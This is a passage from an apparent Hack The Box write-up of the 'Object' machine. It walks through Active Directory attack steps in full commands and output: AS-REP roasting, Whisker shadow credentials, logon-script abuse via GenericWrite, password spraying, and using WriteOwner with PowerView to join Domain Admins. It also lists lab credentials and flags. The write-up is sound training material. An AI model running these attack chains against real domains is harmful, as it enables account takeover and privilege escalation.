$krb5asrep$23$maria@object.local:6CD0B38482CEFDE302B45F8C2C85F8BD$8BF0C8BAF122DAACCE7052B443129CD4EFA2ABC4CCA7E729284653790979E38A24218BDABC7BEA41E55646220E4C33117F16857068777A0477893C6D6E263087A6953F6B44D20E4F413E9F003443A06FBD223F44B590785FAA979EB556929A46BC7F0DD97994F4617392C7D759A855292DBB6A237F041ABC667743C39A6063696F8C46184415DF1DDC100048C7B6B88483F558BC6C3F418726A09EA591FFD5E1A1D0F976E123B2A8AE53728E1A1523A3E5A22BBB468EA13DCB4741B809D1EAB885C077A2A5B659FA3F22825EFECF67066FB910AF14750641DB81FCFED6C0B7D38CB48D30F9EDCE6093BAC99F ``` The hash is captured but **hashcat with rockyou.txt fails to crack it**. This wordlist is typically sufficient for HTB — the password is not there. #### Attack Path B — Shadow Credentials / Whisker (Failed) `GenericWrite` also permits writing to `msDS-KeyCredentialLink`, enabling certificate-based authentication: ``` *Evil-WinRM* PS C:\Users\smith\Desktop> upload Whisker.exe Info: Uploading /home/kali/Documents/object/Whisker.exe to C:\Users\smith\Desktop\Whisker.exe Data: 59392 bytes of 59392 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\Users\smith\Desktop> .\Whisker.exe add /target:maria [*] No path was provided. The certificate will be printed as a Base64 blob [*] No pass was provided. The certificate will be stored with the password dKYSj6j2Kqs1w67i [*] Searching for the target account [*] Target user found: CN=maria garcia,CN=Users,DC=object,DC=local [*] Generating certificate [*] Certificate generaged [*] Generating KeyCredential [*] KeyCredential generated with DeviceID 0bbe47b9-e757-4549-8915-3f63edebb660 [*] Updating the msDS-KeyCredentialLink attribute of the target object [+] Updated the msDS-KeyCredentialLink attribute of the target object [*] You can now run Rubeus with the following syntax: Rubeus.exe asktgt /user:maria /certificate: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 /password:"dKYSj6j2Kqs1w67i" /domain:object.local /dc:jenkins.object.local /getcredentials /show *Evil-WinRM* PS C:\Users\smith\Documents> upload SharpHound.exe Info: Uploading /home/kali/Documents/object/SharpHound.exe to C:\Users\smith\Documents\SharpHound.exe Data: 1758548 bytes of 1758548 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\Users\smith\Documents> .\SharpHound.exe -c All --zipfilename bh_output.zip ``` This also fails — the domain controller does not appear to support the required PKINIT configuration. #### Attack Path C — Logon Script (Success) `GenericWrite` allows setting the `scriptPath` attribute, which defines a **logon script** that executes when a user logs on. We can use this to run arbitrary commands in maria's context. Maria is confirmed to have active logon sessions (her `lastlogon` timestamp updates). We set a PowerShell logon script that writes directory listings to a world-writable location: ```powershell *Evil-WinRM* PS C:\programdata> echo "ls \users\maria\ > \programdata\out" > cmd.ps1 *Evil-WinRM* PS C:\Users\smith\Documents> Set-DomainObject -Identity maria -SET @{scriptpath="C:\\programdata\\cmd.ps1"} ``` Polling `C:\programdata\out` after waiting for maria's next logon reveals her directory structure and eventually the contents of her **Desktop**: ```bash *Evil-WinRM* PS C:\programdata> ls Directory: C:\programdata Mode LastWriteTime Length Name ---- ------------- ------ ---- d---s- 10/21/2021 3:13 AM Microsoft d----- 10/21/2021 12:05 AM regid.1991-06.com.microsoft d----- 9/15/2018 12:19 AM SoftwareDistribution d----- 4/10/2020 5:48 AM ssh d----- 4/10/2020 10:49 AM USOPrivate d----- 4/10/2020 10:49 AM USOShared d----- 8/25/2021 2:57 AM VMware -a---- 3/23/2026 3:08 AM 76 cmd.ps1 -a---- 3/23/2026 3:08 AM 3476 out *Evil-WinRM* PS C:\programdata> type out Directory: C:\users\maria Mode LastWriteTime Length Name ---- ------------- ------ ---- d-r--- 10/22/2021 3:54 AM 3D Objects d-r--- 10/22/2021 3:54 AM Contacts d-r--- 10/25/2021 3:47 AM Desktop d-r--- 10/25/2021 10:07 PM Documents d-r--- 10/22/2021 3:54 AM Downloads d-r--- 10/22/2021 3:54 AM Favorites d-r--- 10/22/2021 3:54 AM Links d-r--- 10/22/2021 3:54 AM Music d-r--- 10/22/2021 3:54 AM Pictures d-r--- 10/22/2021 3:54 AM Saved Games d-r--- 10/22/2021 3:54 AM Searches d-r--- 10/22/2021 3:54 AM Videos *Evil-WinRM* PS C:\programdata> echo "ls \users\maria\Documents > \programdata\out" > cmd.ps1 *Evil-WinRM* PS C:\programdata> type out *Evil-WinRM* PS C:\programdata> type out *Evil-WinRM* PS C:\programdata> type out *Evil-WinRM* PS C:\programdata> echo "ls \users\maria\Desktop > \programdata\out" > cmd.ps1 *Evil-WinRM* PS C:\programdata> type out Directory: C:\users\maria\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 10/26/2021 8:13 AM 6144 Engines.xls ``` Reading `Engines.xls` via the logon script reveals a spreadsheet with machine credentials: | Name | Quantity | Owner | Chamber Username | Chamber Password | | -------------------------- | -------- | ----- | ---------------- | ------------------ | | Internal Combustion Engine | 12 | HTB | maria | `d34gb8@` | | Stirling Engine | 23 | HTB | maria | `0de_434_d545` | | Diesel Engine | 4 | HTB | maria | `W3llcr4ft3d_4cls` | #### Password Spraying maria's Credentials
```bash ┌──(kali㉿kali)-[~] └─$ nxc winrm 10.129.96.147 -u maria -p 'd34gb8@' nxc winrm 10.129.96.147 -u maria -p '0de_434_d545' nxc winrm 10.129.96.147 -u maria -p 'W3llcr4ft3d_4cls' WINRM 10.129.96.147 5985 JENKINS [*] Windows 10 / Server 2019 Build 17763 (name:JENKINS) (domain:object.local) WINRM 10.129.96.147 5985 JENKINS [-] object.local\maria:d34gb8@ WINRM 10.129.96.147 5985 JENKINS [*] Windows 10 / Server 2019 Build 17763 (name:JENKINS) (domain:object.local) WINRM 10.129.96.147 5985 JENKINS [-] object.local\maria:0de_434_d545 WINRM 10.129.96.147 5985 JENKINS [*] Windows 10 / Server 2019 Build 17763 (name:JENKINS) (domain:object.local) WINRM 10.129.96.147 5985 JENKINS [+] object.local\maria:W3llcr4ft3d_4cls (Pwn3d!) ``` **Maria's password:** `W3llcr4ft3d_4cls` *** ### Privilege Escalation — Domain Admin via WriteOwner #### BloodHound Analysis Using SharpHound to collect AD data and BloodHound for visualization reveals the final link in the chain: ``` SMITH → [GenericWrite] → MARIA → [WriteOwner] → DOMAIN ADMINS ```
**maria has `WriteOwner` on the Domain Admins group.** This means she can set herself as the owner of the group, then grant herself full control, and finally add herself as a member. #### Exploitation Chain ```bash ┌──(kali㉿kali)-[~/Documents/object] └─$ evil-winrm -i 10.129.96.147 -u maria -p 'W3llcr4ft3d_4cls' *Evil-WinRM* PS C:\Users\maria\Documents> upload /usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/powerview.ps1 Info: Uploading /usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/powerview.ps1 to C:\Users\maria\Documents\powerview.ps1 Data: 1217440 bytes of 1217440 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\Users\maria\Documents> import-module ./powerview.ps1 *Evil-WinRM* PS C:\Users\maria\Documents> Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -match "maria"} *Evil-WinRM* PS C:\Users\maria\Documents> Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity maria *Evil-WinRM* PS C:\Users\maria\Documents> Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All *Evil-WinRM* PS C:\Users\maria\Documents> Add-DomainGroupMember -Identity "Domain Admins" -Members maria *Evil-WinRM* PS C:\Users\maria\Documents> Get-DomainGroupMember "Domain Admins" GroupDomain : object.local GroupName : Domain Admins GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=object,DC=local MemberDomain : object.local MemberName : maria MemberDistinguishedName : CN=maria garcia,CN=Users,DC=object,DC=local MemberObjectClass : user MemberSID : S-1-5-21-4088429403-1159899800-2753317549-1106 GroupDomain : object.local GroupName : Domain Admins GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=object,DC=local MemberDomain : object.local MemberName : Administrator MemberDistinguishedName : CN=Administrator,CN=Users,DC=object,DC=local MemberObjectClass : user MemberSID : S-1-5-21-4088429403-1159899800-2753317549-500 ``` Output confirms maria is now in Domain Admins alongside Administrator. #### Reading root.txt Start a new Evil-WinRM session (group membership tokens are refreshed on new logon): ```bash ┌──(kali㉿kali)-[~/Documents/object] └─$ evil-winrm -i 10.129.96.147 -u maria -p 'W3llcr4ft3d_4cls' *Evil-WinRM* PS C:\Users\maria\Documents> type C:\Users\Administrator\Desktop\root.txt ca8exxxxxxxxxxxxxxxxxxxxxx5f68 ``` ### Full Attack Chain Recap ``` [Recon] nmap → ports 80, 5985, 8080 [Initial Access] Jenkins self-signup → Create freestyle job → Scheduled build (* * * * *) bypasses missing Job/Build perm → Outbound firewall blocks reverse shell → Exfiltrate data via console output [Credential Harvesting] Read master.key + hudson.util.Secret (base64) + admin config.xml → Offline decrypt with pwn_jenkins → oliver:c1cdfun_d2434 [Foothold] evil-winrm as oliver [AD Enumeration] PowerView → Find-InterestingDomainAcl → oliver → ForceChangePassword → smith [Lateral Movement 1] Set-DomainUserPassword smith → Password123! evil-winrm as smith [AD Enumeration] PowerView → smith → GenericWrite → maria [Credential Discovery] AS-REP Roast (fail) → Shadow Creds (fail) → Logon script via GenericWrite → Engines.xls → maria:W3llcr4ft3d_4cls [Lateral Movement 2] evil-winrm as maria [Privilege Escalation] BloodHound → maria → WriteOwner → Domain Admins → Set-DomainObjectOwner → Add-DomainObjectAcl → Add-DomainGroupMember → Domain Admin [Flags] user.txt: 07673ff6630a77ad287241968f6d689d root.txt: ca8exxxxxxxxxxxxxxxxxxxxxx5f68 ``` *** ### Key Takeaways * **Jenkins misconfigurations** are dangerous even without RCE — scheduled builds provide a reliable execution primitive even when explicit build permissions are withheld and outbound firewall rules are enforced. * **Jenkins credential storage** is reversible offline given access to `master.key` and `hudson.util.Secret`. These files should be treated as secrets equivalent to private keys. * **AD ACL chains** (`ForceChangePassword → GenericWrite → WriteOwner`) demonstrate how a low-privileged user can reach Domain Admin through transitive object control, even without any traditional exploit. * **GenericWrite** is highly exploitable — logon scripts, SPN manipulation for Kerberoasting, and shadow credential attacks are all viable primitives. When one path is blocked (e.g., no crackable hash, no PKINIT), others remain. * **BloodHound** is essential for visualizing multi-hop ACL paths that would be invisible through manual enumeration.